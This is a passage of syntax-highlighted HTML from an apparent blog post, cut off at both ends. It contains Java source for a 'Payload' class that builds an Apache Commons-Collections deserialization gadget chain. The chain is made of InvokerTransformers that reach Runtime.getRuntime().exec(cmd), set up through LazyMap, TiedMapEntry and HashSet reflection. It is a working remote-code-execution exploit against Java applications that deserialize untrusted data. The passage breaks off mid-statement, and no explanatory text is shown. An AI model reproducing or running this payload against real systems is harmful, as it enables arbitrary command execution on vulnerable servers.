class=\"crayon-e\">Serializable<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-32\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-33\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">private<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Serializable <\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-34\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-35\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Payload<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cmd<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">throws<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Exception<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-36\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-37\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">setup<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cmd<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-38\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-39\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-40\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-41\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Serializable <\/span><span class=\"crayon-e\">setup<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cmd<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">throws<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Exception<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-42\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">final<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">execArgs<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">cmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-43\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-44\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">final<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Transformer<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">transformers<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Transformer<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-45\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ConstantTransformer<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">Runtime<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-t\">class<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-46\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">InvokerTransformer<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;getMethod&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">Class<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-t\">class<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-47\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">Class<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-t\">class<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">Object<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;getRuntime&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-48\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">Class<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-49\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">InvokerTransformer<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;invoke&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">Class<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">Object<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-t\">class<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-50\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">Object<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-t\">class<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">Object<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">Object<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-51\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">InvokerTransformer<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;exec&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">Class<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">String<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-t\">class<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-52\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">execArgs<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ConstantTransformer<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-53\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-54\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Transformer <\/span><span class=\"crayon-v\">transformerChain<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ChainedTransformer<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">transformers<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-55\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-56\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">final<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Map <\/span><span class=\"crayon-v\">innerMap<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">HashMap<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-57\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-58\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">final<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Map <\/span><span class=\"crayon-v\">lazyMap<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">LazyMap<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">decorate<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">innerMap<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">transformerChain<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-59\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-60\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">TiedMapEntry <\/span><span class=\"crayon-v\">entry<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">TiedMapEntry<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">lazyMap<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;foo&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-61\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-62\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">HashSet <\/span><span class=\"crayon-v\">map<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">HashSet<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-63\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">map<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">add<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;foo&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-64\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">Field<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-65\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">try<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-66\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">HashSet<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-t\">class<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getDeclaredField<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;map&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-67\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">catch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">NoSuchFieldException<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-68\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">HashSet<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-t\">class<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getDeclaredField<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;backingMap&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-69\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-70\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-71\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">setAccessible<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-72\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">HashMap <\/span><span class=\"crayon-v\">innimpl<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">HashMap<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">get<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">map<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-73\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-74\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Field <\/span><span class=\"crayon-v\">f2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-75\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">try<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-76\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">f2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">HashMap<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-t\">class<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getDeclaredField<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;table&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-77\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">catch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">NoSuchFieldException<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-78\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">f2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">HashMap<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-t\">class<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getDeclaredField<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;elementData&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-79\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-80\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-81\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">f2<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">setAccessible<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-82\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">Object<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">array2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">Object<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">f2<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">get<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">innimpl<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-83\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-84\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">Object<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">node<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">array2<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5907b45e83577928284167-85\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">node<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5907b45e83577928284167-86\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">node<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> 